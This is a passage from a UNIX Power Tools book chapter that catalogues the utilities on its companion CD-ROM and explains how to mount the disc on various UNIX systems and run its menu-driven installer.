The head shell script simulates the behavior of the head command distributed with many versions of UNIX. It is meant for systems that do not have the head program already installed. Article 25.20.

hey *

hey is a shell script for people who use systems other than UNIX-and type non-UNIX commands on a UNIX system. It prints a snide remark to remind you of your mistake, then runs the UNIX command you intended to use. Article 16.15.

hgrep, Version OctR88

hgrep is a trivial, but cute, front-end for grep. It takes the results of the grep and highlights the word that was searched for. Article 27.20.

index, Version 1.0

index allows you to maintain multiple databases of textual information, each with a different format. With each database, index allows you to add entries, delete entries, edit existing entries, search for entries using full regular expressions, and run all or part of the database through a user-configured filter. Articles 48.11 and 48.12.

ipl, Version 1.0

ipl is a two-dimensional graphic production system. It produces scatter plots, line plots, bar graphs, range displays, pie graphs, US/Canada maps, schedule charts, boxes, arrows, text, etc. ipl produces PostScript output, based on a user-supplied control file. It also includes a table beautifier that is useful for taking plain text tables, spreadsheet output, etc. and setting them in a nice font. Article 49.9.

ispell, Version 3.1.20

ispell is a fast screen-oriented spelling checker that shows your errors in the context of the original file, and suggests possible corrections when it can figure them out. Compared to UNIX spell, it is faster and much easier to use. ispell can also handle languages other than English. Article 29.2.

jot

jot is a simple tool that allows you to print sequential or random data. It can be very useful for constructing loops in shell scripts. Article 45.11.

lensort *

lensort sorts lines from shortest to longest. Article 36.8.

less, Version 3.21

less is an extremely flexible pager and is preferred by many to pg or more. less has all of the functionality of more, in addition to backwards scrolling, bookmarks, searching (forward and backward, single, and multi-file), and many other useful features. Article 25.4.

lf *

lf is actually five commands linked to the same script. Each command results in calling the ls command with a different set of command-line options. In addition to lf, there is also ll, lg, lm, and lr. Article 16.7.

lndir

lndir is a safe way to duplicate a directory structure elsewhere on the filesystem. It's necessary because a cd into a straight symbolic link actually changes to the directory pointed to by the link, which can be confusing or even dangerous if the link is in a sensitive area of the filesystem. lndir recursively re-creates a directory structure, making symbolic links to all the files in the directory. Article 18.7.

logerrs, Version 1.0 *

The logerrs script sends errors to a log file as well as to standard error. Article 13.16.

longlines *

The longlines file contains several lines with 200 columns of text. You can use this file to test whether line wrapping is working correctly, or to adjust windows to a particular size, with:

cat longlines

Article 42.6.

look

look is a fairly fast, fairly portable version of look. Article 27.18.

lookfor *

The lookfor script finds all files in the given directory tree that contain the given string(s). Article 17.21.

ls_today *

ls_today is a shell script to print the names of files that have been created or edited today. Article 16.18.

make_print *

make_print is an example Makefile for printing a series of files that have changed. It is meant to be renamed makefile or Makefile and run with make. Article 21.9.

manindex *

manindex simulates the behavior of the apropos command found on many systems. It generates an index that you can later search using the following alias:

alias apropos "grep -i /!$ indexfile"

Article 50.3.

motd.diff *

motd.diff is a shell script to be called from your .login file. It only displays lines in the message-of-the-day that have changed since the previous login. Article 2.14.

namesort *

The namesort program sorts a list of names by the last name. Article 36.9.

netpbm, Version 1mar94

netpbm is the latest version of pbmplus, the Extended Portable Bitmap Toolkit. netpbm converts various image formats to and from portable formats, and therefore to and from one another. In addition to the converters, the package includes some simple tools for manipulating the portable formats. Article 43.25.

nextday *

The nextday shell script returns the name of the next day of the week, to supply to the at command. It can also be linked to the name nextweekday, in which case the next weekday is returned (for example, on Friday nextweekday will return Monday). Article 40.10.

no_run *

The no_run file contains an example of a shell script that you can enter into your private $HOME/bin directory and link to the names of programs that you might not want to run on some systems. It's meant for use on a network where you have the same home directory on several machines of different architectures. After editing the script, you can link it to the names of the commands that are run differently (or not at all) on some systems. Of course, the directory that you install and link the scripts in (such as $HOME/bin) must be in your path before any system-wide executables. Article 8.8.

nom *

nom ("no match") supplies the names of the files in the current directory that don't match the given shell wildcards. For example, to edit all files in the current directory that don't end in .o, try:

vi `nom *.o`

Article 15.9.

offset *

The offset shell script indents text for printing or other uses. Article 35.7.

oldlinks *

oldlinks is a shell script that prints the names of "stale" symbolic links. Article 16.28.

opttest *

opttest is a shell script for parsing getopt output. It's meant to demonstrate getopt's behavior. Article 44.18.

paircheck *

paircheck is an example script for making sure that strings in a file have matching counterparts. paircheck checks that each .TS in a given troff file has a corresponding .TE; but it's easy to modify to check other kinds of pairs. Article 29.9.

patch, Version 2.1

patch is Larry Wall's program for distributing source patches to files. By using diff files (generally "context" diffs), patch can intelligently apply patches to a file even if modifications have been made to the source in the meantime. patch is used extensively to communicate source changes throughout the world. Article 33.9.

pcal, Version 4.3

pcal generates PostScript to produce landscape or portrait calendars for any month and year. By default, pcal simply prints an empty calendar. Its real power is in its ability to place "events" in appropriate days on the calendar, thus allowing the user to create personalized calendars. Article 48.9.

perl, Version 5

perl (Practical Extraction and Report Language) is an interpreted language optimized for scanning arbitrary text files, extracting information from those text files, and printing reports based on that information. It has exceptionally powerful string, file, and system routines to quickly create almost any utility. An added debugger makes perl an attractive alternative to awk or gawk. perl 5 is a new and improved version of perl 4. Article 37.5 tells some of what's new.

phone *

phone is a shell script that displays lines in a file called phone, matching the given string to standard output. It is also linked to the name address, in which case it returns matching lines in a file named address to stdout. Article 48.2.

pipegrep *

pipegrep searches through the output of a series of commands, printing the command that produced each line of output. Article 27.13.

pstext

pstext is a utility for converting text files to PostScript files - usually for a PostScript printer. It includes options for printing "landscape" mode, for specifying a font, and for specifying a point size. Article 43.22.

psutils, Version 1.17

psutils is a collection of utilities for manipulating PostScript documents: rearranging pages, printing only some pages, and so on. Articles 43.23 and 43.24.

pushin *

pushin is a sed script that removes any extra white space characters in a file and sends the result to standard output. Article 25.13.

qcsh *

The qcsh file has a shell function that lets you use C shell features such as the curly brace ({}) operators (9.5) from either the Bourne or Korn shell. Article 15.3.

qsubst

qsubst is designed for substituting strings in (large) files. It accepts a list of filenames and two strings. For each of the files, qsubst modifies it in-place to replace string1 with string2 wherever the user approves the change. Article 33.10.

qterm

qterm is a program that queries terminals to find out what kind of terminal is responding. It is useful to "automagically" define your terminal type. It prints the name of the terminal (such as "vt100") to standard output. (This name is hopefully compatible with a termcap/terminfo name on your system.) Article 5.5.

rcs, Version 5.7.0

rcs (Revision Control System) is a set of commands for managing multiple revisions of files. rcs automates the storing, retrieval, logging, identification, and merging of revisions. rcs is useful for text that is revised frequently; for example programs, documentation, graphics, papers, and form letters. Article 20.14.

rcsegrep.fast *

rcsegrep.fast is a shell script (written mostly in nawk) that searches the most recent revision of one or more RCS files for a given string. It's fast because it reads the RCS file directly. Only recommended when you have a lot of files to search; use rcsgrep otherwise. Article 27.10.

rcsgrep *

rcsgrep is a shell script that searches revisions of RCS files for a given string. Can also be called through links named rcsegrep and rcsfgrep. Article 27.10.

rcsrevs *

rcsrevs is a shell script that lists all the revision numbers archived in an RCS file. Article 20.15.

recomment *

The recomment shell script runs fmt (30.37) on files with lines that are commented out, with wrapped lines recommented. Article 35.4.

redo *

redo is a utility that allows you to browse through, edit, and execute commands on your C shell history list. It is a C shell script that is sourced in using an alias. This alias appears in the csh_init file. Article 11.14.

relink *

relink is a perl script for relinking multiple files, similar to the rename script. Article 18.14.

ren

ren is a program that can rename many files according to search and replacement patterns, ala VMS (but better). ren checks for replacement name collisions and handles rename chains gracefully. Article 18.11.

rename *

rename is a perl script for renaming multiple files. Article 18.10.

rot

rot rotates a file, so that lines become columns, and vice versa. Without any options, the file will be rotated clockwise. Article 35.23.

runsed *

The runsed shell script runs the sed commands in a file called sedscr on the specified files, overwriting the original files. Article 34.3.

runtime *

runtime repeatedly executes time on a given command and then reports the average time taken over those iterations. The actual output of the command is discarded. Article 39.4.

sc, Version 6.21

sc is a spreadsheet calculator based on rectangular tables, much like a financial spreadsheet. Article 49.8.

screen, Version 3.7.2

screen is a window manager that allows you to handle several independent screens (UNIX ptys (41.8)) on a single physical terminal. Articles 12.9 and 3.7.

screensize *

The screensize file contains 69 lines of text, starting at 69 and ending at 1. You can use this file to determine how many rows are displaying on your screen, with:

cat screensize

Article 42.6.

script.tidy *

script.tidy uses sed to clean up files generated with the script program. Article 51.6.

search.el *

The search.el file contains a set of Emacs search commands. To use these commands, use the load-file command in your $HOME/.emacs file to point to this file. Article 32.8.

sedman *

sedman is a sed script for formatting simple manual pages. Article 43.19.

sh_init *

The sh_init file is a collection of Bourne-type shell function and alias definitions that are shown throughout the book. Most of these are also available as C shell functions in the csh_init file.

In its distribution form, each set of commands is commented out and needs to be explicitly uncommented before you can use them; this is because many of the definitions override or conflict with one another. You can copy or source (44.23) the file into your shell setup file (2.2), and then enable the definitions that you want. Articles 2.15, 7.5, 7.6, 7.8, 7.11, 7.12, 14.9, 14.14, 15.5, 16.26, 16.27, 17.4, 17.23, 22.2, 22.9, 25.17, 29.8, 30.20, 43.8, and 50.8.

sh_logout *

The sh_logout file contains a set of commands for removing temporary files. Bourne-type shell users can input these commands into their logout file (such as .bash_logout). Article 21.3.

GNU Shell Archive Utilities (sharutils), Version 4.2

The GNU sharutils package is a set of tools to create and unpack shell archives. sharutils makes it easier to ship sources around by email. The package includes shar, unshar, uuencode, uudecode, mail-files, mailshar, and remsync.

GNU Shell Utilities (shellutils), Version 1.11

GNU Shell Utilities is a package of small shell programming utilities. These utilities are generally more robust and have more features than the system-supplied alternatives. Programs included are: basename, date, dirname, env, expr, false, groups, id, nice, nohup, pathchk, printenv, printf, sleep, stty, tee, test, true, tty, uname, who, whoami, and yes. Most of these programs are covered throughout the book. Note that because nice, stty, and uname require facilities that are not available on all systems, they are only installed when appropriate.

showmatch *

The showmatch shell script shows the strings in a given file that match the specified regular expression. Article 26.6.

sl *

sl is a Perl script for showing the actual filenames for symbolic links. Article 18.8.

sls

sls is a program designed to overcome the limitations of the standard UNIX ls program, providing a more consistent interface to file inode information. It is particularly designed for use by shell scripts to make obtaining information about files easier. It uses printf-style format strings to control the sorting and output of file information. Article 16.29.

smiley

smiley is a "smiley server." It can explain any smiley it knows, or print one it knows at random. Article 51.12.

squoze *

squoze is a utility for shrinking a huge directory. Article 24.16.

stat

stat prints out the contents of an inode (as it appears to the stat(2) system call) in a human-readable format. Article 21.13.

stree *

stree is a shell script that prints a simple directory tree. Article 16.19.

stripper *

stripper is a simple shell script for stripping any binary files in $HOME/bin that aren't already stripped. Article 24.13.

su *

The su shell script is a front-end to the system-wide su, for versions of su that don't set your home directory or username properly in the new shell. Article 22.22.

GNU tar, Version 1.11.2

GNU tar is upwards compatible with the standard tar supplied with your operating system. It adds many new features including remote devices, compression, multi-volume archives, the ability to extract to standard output, the ability to extract using wildcards, interactive confirmation, the ability to extract only "missing" files, and the ability to store only files newer than a given date. Article 19.6.

tcap

tcap is a utility that gives shell scripts access to termcap escape sequences, similar to tput. It is generally distributed under the name tc. We have renamed it here to avoid confusion with the standard tc command that is distributed under many operating systems. Article 41.10.

Tcl/tk, Versions 4.2p2/7.6p2

Tcl is a widely used shell-like language. It's on the disc mostly because of expect, which is integrated on top of Tcl. But Tcl is also very useful on its own. tk is a scripting language that lets you integrate a graphical user interface on top of your application. Article 9.26.

tcsh

tcsh is a version of the Berkeley C shell, with the addition of a command line editor; command and filename completion, listing, etc.; and several small additions to the shell itself. Article 8.3.

termtest *

termtest is a shell script that quickly sends repeated characters to the screen. You can use it to test your terminal connection, by scanning for line noise or dropped characters. Article 42.7.

GNU Text Utilities (textutils), Version 1.20

The GNU text utilities are a collection of utilities for viewing, manipulating, rendering, and combining text files. Programs included are: csplit, cut, paste, expand, and unexpand.

tgrep

tgrep only searches through files that contain text. It is useful for searching through directories that contain both binary and text files. Article 27.13.

tm, Version 1.1 *

The tm script gives the current time in countries all over the world. Article 6.7.

tpipe

tpipe is a simple utility program that can be used to split a UNIX pipeline into two pipelines. Like tee, tpipe transcribes its standard input to its standard output. But where tee writes an additional copy of its input to a file, tpipe writes the additional copy to the input of another pipeline that is specified as the argument to tpipe. Article 13.11.

tputinit

tputinit is a shell script for simulating the terminal initialization commands generated by tput init. It can be used on systems with older versions of tput that don't support the init keyword. Article 5.12.

triplespace *

triplespace is a sed script that triple-spaces text and sends the result to standard output. Article 25.12.

twin

twin is used to compare two similar files. They will be displayed side-by-side with any mismatched lines shown in reverse video. Article 28.5.

GNU unexpand, Version 1.20

GNU unexpand converts space characters into TABs at 8-column tabstops. unexpand is part of the textutils package. Article 24.6.

vgrep *

The vgrep shell script supplies a list of filenames that don't contain the given string. It's sort of a grep -v for complete files instead of for individual lines. Article 15.8.

vis

vis is a program that repeatedly executes a specified command and refreshes the display of its output on the screen. Article 51.7.

vtree, Version 1.2

vtree gives a visual directory tree, designed to show the layout of a directory tree or filesystem. It has options to show the amount of storage being taken up in each directory, count the number of inodes, etc. Article 16.20.

watchq *

watchq is a daemon script (1.14) that monitors the queues for several printers and sends messages to users when errors occur. Article 38.11.

whereiz *

whereiz lists all executables in your path that match the given name. Article 4.10.

which

which is an improved version of the standard which utility. This version returns the full expansion of the command argument, be it either an alias, a shell function, or the path to an executable file. Article 50.8.

wordfreq *

wordfreq reports the number of times each word appears in a given file. Article 29.7.

GNU xargs, Version 4.1

The GNU version of the xargs utility is used to execute a command with many arguments. Its -0 option works with GNU find to avoid problems in the standard xargs. xargs is part of the GNU find package. Articles 9.21 and 9.22.

xgrep *

Most grep-like programs search for lines that match a regular expression, then outputs the entire lines. xgrep is a sed script that retrieves only the matching text - not (necessarily) a whole line. Article 43.21.

xtail

xtail watches the growth of files. It is similar to tail -f, but can be used to watch many files at once. Article 25.18.

zap *

zap interactively allows you to kill processes by running ps and then querying you about killing each process reported by ps. Comes with the script pick, which lets you choose from its command-line arguments. Article 38.13.

zloop *

zloop is a shell script for running a command on a set of compressed files. Article 24.10.

zmore *

The zmore shell script runs more on compressed files. It is also linked to the names zpg and zless. Other links named vmore, vpg, and vless show "unprintable" characters in a way you can see them without affecting your screen. Finally, links named rcsmore, rcspg and rcsless page through the latest revision of an RCS file - without creating a working file. Article 25.5.

zvi *

zvi is a shell script for running the vi editor on compressed files. It is also linked to the programs zex and zed for running ex or ed on compressed files, respectively. Article 24.11.

- LM, JP

Previous: 52.3 Shrink-Wrapped Software for UNIX | UNIX Power Tools | Next: 52.5 Using the Power Tools CD-ROM
52.3 Shrink-Wrapped Software for UNIX | Book Index | 52.5 Using the Power Tools CD-ROM
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 52] 52.5 Using the Power Tools CD-ROM

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 52.4 Quick Descriptions of What's on the Disc Chapter 52
What's on the Disc 		Next: 52.6 Don't Have a CD-ROM Drive?

52.5 Using the Power Tools CD-ROM

[In addition to this article, be sure to read the file called README for any late-breaking news on using the CD-ROM. -LM]

The CD-ROM that comes with this book can be used in two different ways. First, it can be mounted just long enough for software to be copied onto a local hard disk. In this respect, it is a distribution medium similar to magnetic tapes or floppy disks. Second, it can be mounted so that it is always present and available as a local read-only hard disk. It will appear as a filesystem and you can use familiar UNIX commands to peruse it.

52.5.1 CD-ROM Formats

The Power Tools CD conforms to the ISO standard 9660. This is sometimes called "High Sierra," but there are differences between the two formats. The 9660 standard is what most CD-ROM drivers will support from now on, even though they will read High Sierra discs.

For UNIX users, ISO 9660 may come as a shock. For example, a directory listing of an ISO 9660 disc might look like this:

% ls /cdrom
ALPHA/      CONFIG1      HP700/       INSTINFO/   RS6000/    SUN4C/
BUILD.PT*   CONFIG2.REV  I386/        LINUX/      SOURCES/
COMMON/     CONFIG3.Z    INSTALL.PT*  README      SSOL2/

ISO 9660 specifies that the filenames are mono-case, and limited to 8 characters with 3-character extensions. If the filename doesn't contain a dot, one is added at the end of the filename. A "version number" is also appended, following a semicolon (version numbers are used in some non-UNIX filesystems such as VMS). Some systems do not use all these features, so there are several variations that you will encounter.

For example, a file called install.pt may appear as any of the following, depending on what system you mount the CD-ROM on:

INSTALL.PT;1 INSTALL.PT install.pt;1 install.pt

Directory names are simply 8 characters or less and mono-case. A directory called "SOURCES" can appear as SOURCES or sources. ISO 9660 also limits directory depth to 8 levels.

Note that the semicolon character (;) in version numbers needs to be quoted (8.14) when you are specifying the filename in a UNIX shell. If you don't quote such a filename, you'll get a message like this:

INSTALL.PT: Command not found.
1: Command not found.

Luckily for you, we provide installation software that hides most of this ugliness.

52.5.2 Mounting the CD-ROM

For UNIX users, the CD-ROM should be made available as if it were a filesystem. In most cases, the standard mount command can be used. This usually has the form:

# mount CD-ROM_device mount_point

The CD-ROM device name varies depending on the type of system. If you do not know the device name, consult the documentation that comes with your system. On some systems, the SCSI ID of the CD-ROM device can vary. The SCSI ID will be part of the device name - for example, /dev/rz3c/ is the CD-ROM at SCSI ID 3 on a DECstation.

The mount point is simply a directory that will become the parent directory of the CD-ROM when it is mounted.

Most systems do not provide a way for unprivileged users to mount the CD. It is probably necessary to mount and use it as the superuser (1.24). For this reason, the bulk of this article assumes some knowledge of system administration and superuser commands. You may need to have your system administrator install the power tools software for you.

As the CD is read-only, you may have to specify this fact to the mount program or it will generate an error if it tries to open the CD-ROM device for writing. Some systems also need to be told the type of filesystem being mounted if it is not the default (usually ufs or nfs). There may be options to the mount program that control whether all the ISO 9660 features (such as version numbers) are turned on.

For example, the CD can be mounted on a SunOS 4.1.1 system with the command:

# /etc/mount -r -t hsfs /dev/sr0 /cdrom

This command mounts the CD (/dev/sr0) on the mount point (/cdrom) in a read-only fashion (-r). If you omit the -r option, mount will give the following error:

mount_hsfs: must be mounted readonly
mount: giving up on:
   /cdrom

If you omit the filesystem type of hsfs (High Sierra Filesystem, which preceded the ISO 9660 format), you will get:

mount: /dev/sr0 on /cdrom: Invalid argument
mount: giving up on:
   /cdrom

The procedure for mounting a CD-ROM varies with each type of operating system. You should consult the manual pages for the mount command and look for a mention of CD-ROM, ISO 9660, or High Sierra:

% man mount

Some examples of mount commands for the supported systems are:

Sun4 SunOS 4.1.4

# /etc/mount -r -t hsfs /dev/sr0 /cdrom

IBM RS/6000 AIX 3.2

# /etc/mount -r -v cdrfs /dev/cd0 /cdrom

HP 700 HP-UX

# /etc/mount -r -s cdfs /dev/dsk/c201d2s0 /cdrom

SCO UNIX

# /etc/mount -r -fHS,lower,intr,soft,novers /dev/cd0 /cdrom

Solaris

# /etc/mount -F -hsfs -r /dev/dsk/c0t4d0s0 /cdrom

Alpha

# /usr/sbin/mount -t cdfs -o noversion /dev/rz3c /cdrom

Linux

# /bin/mount -t iso9660 -o ro /dev/cdrom /cdrom

An example of a mount command on another system is:

SGI IRIX 4.x

# /usr/etc/mount -o ro,notranslate -t iso9660 \
     /dev/scsi/sc0d5l0 /cdrom

You can also start up the cdromd process:

# cdromd -o ro,notranslate -d /dev/scsi/sc0d5l0 /cdrom

To mount the disc, just insert it in the drive. To unmount it, use the eject command.

Once you have the CD-ROM mounted, you can run the installation program to copy pre-compiled binaries off the CD and onto your system's hard disk. The installation program is Ready-to-Run Software's "Smart Installation System."

52.5.3 Installing Pre-Compiled Binaries

There are two software installation programs provided on the CD. The first program "installs" pre-compiled binaries. The second program "builds" programs from source code. If you have one of the supported platforms, you can install software off the CD-ROM and use it immediately. If your platform is not one of the supported platforms or you wish to change the software in some way, you should be able to build it from source code (52.8).

Binaries for the following platforms are on this CD-ROM:

  • Red Hat Linux 4.1

  • Sun4 Solaris 2.5

  • Sun4 SunOS 4.1.4

  • Digital Equipment Corp. 3.2

  • IBM RS/6000 AIX 3.2.5

  • HP 700 HP-UX 9.01

  • SCO UNIX 3.2.4

The pre-compiled binaries may work on operating system versions slightly older or newer than the ones listed here. Some programs take advantage of features that are not supported on all the platforms. The install program will tell you if a program is not available for your platform.

If you are uncertain of your operating system version, the uname command may help:

% uname -a
SunOS ruby 4.1.4 1 sun4m

If your platform is not listed, you should try building the programs from source code as described in article 52.8.

52.5.3.1 Directory Structure

There is a standard installation structure for all packages on the CD-ROM. Using this structure (and some simple variations of it), you can tailor how and where your packages will be installed on your system.

The basic directory structure is shown in Figure 52.1.

Figure 52.1: Basic Directory Structure

Some packages may deviate from this structure by having extra directories at the <install_dir> level.

Shareable files are those files that are machine independent and can be shared across many machines in a network using a network filesystem (NFS) (1.33). These are typically text files, such as manual pages or "include files." Sharing files reduces the amount of disk space required by allowing several different systems to use the same set of files, as opposed to having to duplicate them for each machine. It also simplifies administration of the files by having only a single copy to maintain.

Non-shareable files are machine/architecture specific and may not be shared (except with other hosts of the same architecture). These are typically binaries or data files that depend on a certain architecture or byte order.

The installation program gives you the ability to split the shareable and non-shareable files into separate directories. Using this scheme, you could put shareable files onto a partition or directory that is mounted by multiple machines.

If you want to store shareable and non-shareable files at the same directory level, the shareable directories will be preceded by a leading s to mark them as "shareable." For example, sbin is shareable, while bin is non-shareable.

[1] Figure 52.2 shows how the default installation directories are arranged.

[1] You may also remove the leading s from the shareable directories sinclude, sspool, sbin, and slib. This way, you can merge slib into lib, and sbin into bin if your shareable and non-shareable files are stored in the same directory, or make names clearer if your shareable and non-shareable files are not stored together.

Figure 52.2: Default Installation Directory Structure

You can modify this structure using the Smart Installation System and any necessary directories will be created (if you have permission to do so).

In order to run the software after installation, you will need to make sure that your shell path variable includes <install_dir>/bin (and possibly <install_dir>/share/bin if you choose to use this structure). For example, if <install_dir> is set to /usr/local, set your search path (8.7) as appropriate for your shell:

% set path=($path /usr/local/bin /usr/local/share/bin)   csh
$ PATH=$PATH:/usr/local/bin:/usr/local/share/bin ; export PATH   sh

The installation software will automatically print out a suggested path when it finishes installing a program.

52.5.3.2 Starting the Installation

To begin the installation process, become the superuser and mount the CD-ROM. For example, on a Sun running SunOS 4.1.4:

% su
Password:
# /etc/mount -r -t hsfs /dev/sr0 /cdrom

Then change directories to the mount point you specified for the CD-ROM and see what is there. In our case, we specified /cdrom as our mount point:

# cd /cdrom
# ls
common          install.pt      alpha           linux
hp700           instinfo        rs6000          sun4c
i386            readme          sources         ssol2

The output could look slightly different depending on the type of system:

ALPHA/      CONFIG1      HP700/       INSTINFO/   RS6000/    SUN4C/
BUILD.PT*   CONFIG2.REV  I386/        LINUX/      SOURCES/
COMMON/     CONFIG3.Z    INSTALL.PT*  README      SSOL2/

One of the first things that the installation program will do when installing software is to copy the programs into a "staging" area. By default, this is the directory /tmp. By setting the environment variable TMPDIR to another directory, you can alter this location.

For example, if you want to use the directory /mondo for the staging area:

% setenv TMPDIR /mondo   csh
$ TMPDIR=/mondo; export TMPDIR   sh

NOTE: If you wish to install software in "system" areas, you will likely run into problems with file permissions. You can just become the superuser and not worry about permissions, but this is dangerous because you could overwrite previously installed or vendor-supplied software. The other option is to run the install as an unprivileged user. This should prevent you from damaging system areas, but you will have to use chmod (22.7) to make directories writable before you begin the installation process - or possibly use group permissions (22.13) to control access.

52.5.3.3 Running Install

Once you have the CD-ROM properly mounted, run the appropriate install command for your system. For example:

% ./install.pt

or:

% ./INSTALL.PT\;1

The installation program will display menus and prompt you for input from now on. It will also try to guess the type of machine you are running it on and the mount point of the CD-ROM:

Assuming CDROM   is mounted at /archive/cdrom
Assuming MACHINE is ALPHA

                      Welcome to Ready-to-Run Software's
                         * Smart Installation System *

This installation system requires write permission in /tmp (or $TMPDIR if
it's set) directory (for staging the install) and write permission in the
installation directory for the actual install (these may be the same).
     ...

At this point, the installation program may ask if you want to use a different umask (22.4) value for the installation process:

Use umask of 022 instead of 007 for install [y]? y

This will affect the permissions of the software when it is installed. The suggested value of 022 will allow anyone to execute or read the programs, but gives write permission only to you.

The install program will then present a list of the available software:

The PowerTools2 package contains the following scripts:

!            80cols       Clear        _emacs_ml    _enter_csh   _enter_sh
_exit_csh    _exit_sh     addup        age_files    ascii        awf
behead       bkedit       cal_today    catsaway     center       cgrep
   ...

The PowerTools2 package contains the following packages:

bash         bitmaps      bsdtar       bsplit       calen        cpmod
cvtbase      delete       diff         ediff        emacs        fgrep
fileutils    find         gawk         getopt       glimpse      grabchars
   ...

After the names of the software packages have been displayed, you are prompted for which ones to install:

Enter the name of a package to install or choose Search, Quit or All
<package>, S(earch), A(ll), Q(uit) [Search]?

You can now type the name of the package, search for packages, quit the installation program, or install all packages in one fell swoop.

52.5.3.4 Installing a Single Program

Some of you might prefer not to install the entire distribution, but just selected programs.

For this example, let's assume you are looking for programs that do something with terminals, but you don't know what they are called. You can use the "Search" function at the main menu to look for you. Just press RETURN at the prompt, as the "Search" is the default action in the square brackets ([]).

<package>, S(earch), A(ll), Q(uit) [Search]? s

Then type in "terminal" for the search keyword:

Search package descriptions for (? for help) []? terminal

All packages matching this description will be displayed:

The descriptions for the following packages mention "terminal":
   1.  Clear
   2.  emacs
   3.  qterm
   4.  screen
   5.  tcap
   6.  termtest
   7.  tputinit

   A.  ALL
   N.  NONE

Choose one please:

For this example, the qterm program is selected, which is option 1:

Choose one please: 3

A description of the program is now displayed:

qterm - version 5.0         Version 5.0

Qterm is a program that queries terminals to find out what kind of
terminal is responding.  It is useful to automagically define your
terminal type.  It prints the name of the terminal (compatible,
hopefully, with a termcap/terminfo name) such as "vt100" to standard
output.

The qterm package is approximately  64Kb
     32Kb - Required
     15Kb - Shared: Formatted Man pages
      3Kb - Shared: Other Shareable files
     13Kb - Shared: Unformatted Man pages

Install qterm [y]?
qterm was compiled and made "Ready-to-Run" by
        Ready-to-Run Software, Inc.

   Copyright (c) 1990 Michael A. Cooper.
   This software may be freely distributed provided it is not sold for
   profit and the author is credited appropriately.

Power Tools distribution by permission of the author.

                               ************************

After information about qterm is printed, you are told how much space it will require and then asked whether you want it installed. Press RETURN to install it, or "n" for "no" (followed by RETURN) if you don't want it installed. For our example, we want qterm installed, so we just press RETURN.

The qterm package is approximately  56Kb
     24Kb - Required
     15Kb - Shared: Formatted Man pages
      3Kb - Shared: Other Shareable files
     13Kb - Shared: Unformatted Man pages

Install qterm [y]? [RETURN]

Any copyright information for the qterm package is printed out now:

qterm was compiled and made "Ready-to-Run" by
        Ready-to-Run Software, Inc.

/*
 * Copyright (c) 1990 Michael A. Cooper.
 * This software may be freely distributed provided it is not sold for
 * profit and the author is credited appropriately.
 */
                               ************************

You are then prompted with installation questions, with the default answers printed within square brackets ([]).

The first question is where to install the software. The installation program assumes /usr/local as the default installation directory. If you want to change the default, type the name of a different directory here. This directory will now be used when you are prompted for the same information in all subsequent packages.

Install package at dir [/usr/local]? /work/tools [RETURN]

The next question is where to install the shared files for the package. The default is to use a share subdirectory of whatever directory you specified in the previous question.

Install shared files at [/work/tools/share]? [RETURN]

Third, you're asked whether to remove the s prefix from the names of the directories in which you install the shared files. The default is "y" for "yes"-remove the s prefix.

Convert slib->lib, sbin->bin, sspool->spool, sinclude->include [y]? [RETURN]

The fourth question is whether to install all the shared files, some, or none of them. The default is to install just some selected shared files.

Install Shared files (All, Some, None) [s]? [RETURN]

Now you're asked whether to install the manpages. The default is to install them all. You might choose not to install unformatted manpages if you are low on disk space or if you don't have nroff on your system to format them with:

Install Unformatted Man pages (Approx  13Kb) [y]? [RETURN]
Install Formatted Man pages (Approx  15Kb) [y]? [RETURN]

Finally you're asked about any other shareable files.

Install Other Shareable files (Approx   3Kb) [y]? [RETURN]

(Other packages might have other questions, as appropriate. For example, the gawk installation asks whether to install Texinfo files, PostScript format documentation, and DVI format documentation.)

If you want the answer to any question to be used for all subsequent packages without further prompting, enter the answer in uppercase. You can enter a pathname in uppercase, and the installation script will convert it to lowercase before using it. For example:

Install package at dir [/usr/local]? /WORK/TOOLS [RETURN]
Install shared files at [/work/tools/share]? /WORK/TOOLS/SHARE [RETURN]
Convert slib->lib, sbin->bin, sspool->spool, sinclude->include [y]? Y [RETURN]
Install Shared files (All, Some, None) [s]? S [RETURN]
Install Unformatted Man pages (Approx  13Kb) [y]? Y [RETURN]
Install Formatted Man pages (Approx  15Kb) [y]? Y [RETURN]
Install Other Shareable files (Approx   3Kb) [y]? Y [RETURN]

After answering all the questions, the installation script sets up its installation information and asks you once more if it's correct. If you change your mind about the current configuration, press "n" to get another chance to change some of your installation parameters or to abort the installation of this package entirely. If the current configuration is acceptable, press RETURN a final time, and the package is installed.

Please wait....

    About To Install: qterm

        at /work/tools
        with shareable files at /work/tools/share
        slib->lib, sbin->bin, sspool->spool, sinclude->include

Are these correct [y]? [RETURN]
Proceeding with install...

0 directories added, 6 files installed, 0 symbolic links created.
Approximately  99Kb installed.

Once the qterm installation is completed, the installation script returns to the main menu if this is the only package you have selected.

After all programs are installed, you can quit the installation program. Upon quitting, the installation program suggests a new search path (8.7) for you.

You may want to change your path to include:
   /work/tools/bin
   /work/tools/share/bin

Suggested new path:
/work/tools/bin:/work/tools/share/bin:/bin:/usr/bin ...

A log file of the installation process is kept in /tmp/RTRinstall.log. A typical entry looks like this:

Package: jot - installed Thu Jul 10 14:39:52 EDT 1997

   /usr3/tmp/sidh/sundae/bin/jot
   /usr3/tmp/sidh/sundae/bin: Making directory
   /usr3/tmp/sidh/sundae/share: Making directory
   /usr3/tmp/sidh/sundae: Making directory

3 directories added, 1 file installed.
Approximately  24Kb installed.

52.5.3.5 Installing Everything Using the Defaults

If you don't want to be bothered with being questioned about every package in the installation, and the default values are fine with you, you can bypass the questions and install everything at once. At the main menu, press "A" for "All" to install all packages:

bash         bitmaps      bsdtar       bsplit       calen        cpmod
cvtbase      delete       diff         ediff        emacs        fgrep
fileutils    find         gawk         getopt       glimpse      grabchars
   ...
Enter the name of a package to install or choose Search, Quit or All
<package, S(earch), A(ll), Q(uit) [Search]? A [RETURN]

You are shown information about the first program, bash. Then you are asked whether to install bash:

GNU Bash, version 1.14.6.

Bash is the GNU Project's Bourne Again SHell, an interactive shell with
Bourne shell syntax (/bin/sh); but also with interactive command line
editing, job control on architectures that support it, Csh-like history
features and brace expansion, and a slew of other stuff.

The bash package is approximately 2.3Mb
    601Kb - Required
    383Kb - Shared: DVI Format Documentation
    205Kb - Shared: Formatted Man pages
    217Kb - Shared: Info files
      9Kb - Shared: Other Documentation
    741Kb - Shared: PostScript Format Documentation

    165Kb - Shared: Unformatted Man pages
     49Kb - Shared: examples/templates/extra info

